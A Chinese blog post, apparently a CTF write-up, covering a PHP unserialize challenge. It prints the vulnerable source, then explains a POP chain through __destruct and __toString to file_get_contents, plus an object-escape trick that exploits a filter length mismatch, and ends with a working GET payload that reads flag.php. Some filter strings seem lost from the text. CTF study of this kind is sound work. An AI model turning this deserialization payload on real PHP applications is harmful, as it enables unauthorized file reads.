zoukankan      html  css  js  c++  java
  • 刷题[安恒DASCTF2020四月春季赛]Ez unserialize

    解题思路

    打开直接源码,没别的,审就完事了

    代码审计

     <?php
    show_source("index.php");
    function write($data) {
        return str_replace(chr(0) . '*' . chr(0), '', $data);
    }
    function read($data) {
        return str_replace('', chr(0) . '*' . chr(0), $data);
    }
    class A{
        public $username;
        public $password;
        function __construct($a, $b){
            $this->username = $a;
            $this->password = $b;
        }
    }
    class B{
        public $b = 'gqy';
        function __destruct(){
            $c = 'a'.$this->b;
            echo $c;
        }
    }
    class C{
        public $c;
        function __toString(){
            //flag.php
            echo file_get_contents($this->c);
            return 'nice';
        }
    }
    $a = new A($_GET['a'],$_GET['b']);
    //省略了存储序列化数据的过程,下面是取出来并反序列化的操作
    $b = unserialize(read(write(serialize($a))));
    

    反序列化思路

    1. 首先观察new了A类,然后将其序列化,经过两个函数处理后再反序列化。

    2. C类中有tostring魔法方法,利用其中的file_get_contents函数读取flag.php文件

    3. 触发tostring魔法方法需要字符串操作,向上看,正好B类中的析构函数存在字符串的拼接操作

    所以整个反序列化思路为:将A的属性实例化为B,然后将B的属性实例化为C对象,触发魔法方法读取flag

    大致的序列化结果:
    O:1:"A":2:{s:8:"username";s❌"payload1";s:8:"password";s:xx:"payload2";}

    payload2:
    O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}

    对象逃逸

    核心思想:过滤导致的字符串位数增加或减少,不会导致序列化中变量名字符数改变,导致逃逸出新的对象

    同时对象逃逸的特点是
    过滤函数放在了序列化函数之后

    看read函数,将 (6个字符) 替换成 chr(0)*chr(0) (3个字符),所以这里逃逸处3个字符

    我们要逃逸出的字符串是
    ";s:8:"password";s:xx:" 共23位(因为这里payload打在password里,所以xx一定是两位数) 为什么是这个字符串在下面解释

    因为一组逃逸出三个字符,所以这里共需逃逸八组,也就是
    (24个)将其传入payload1中

    只序列化后的结果:
    O:1:"A":2:{s:8:"username";s:48:"";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";}

    经过函数过滤后的结果:
    O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";} (实际每个*号前后有两个空字符,这里未显示)

    可以看到,反序列化过程中,在读入username的值时,读入48位,从第一个 空*空 开始读,********";s:8:"password";s:72:"A (因为总逃逸的字符串有24位,需要逃逸的只有23位,这里加上一个A字符,凑成24位)

    读完此时,结束,发现原本的password属性被吞,但因为序列化字符串中类里面的变量数是2,所以此时继续读一个变量,读入我们传的password,也就是读出了我们希望传入的password,这时新对象即逃逸出来
    构成对象逃逸

    成功完成攻击,读取出flag值

    整个的payload就是:
    ?a=&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}

  • 相关阅读:
    OI中的小智慧
    洛谷 P2335 SDOI 2005 毒瘤 位图(也补上注释了)
    洛谷P4779 Dijkstra 模板
    洛谷 P1156 垃圾陷阱 谈论剪枝,非满分
    8/14考试 JWG
    一个好消息 JWG
    刷水题(一) JWG
    C语言运算符优先级从没像现在这样深刻体会
    cron 备忘
    CentOS
  • 原文地址:https://www.cnblogs.com/karsa/p/12775854.html
Copyright © 2011-2022 走看看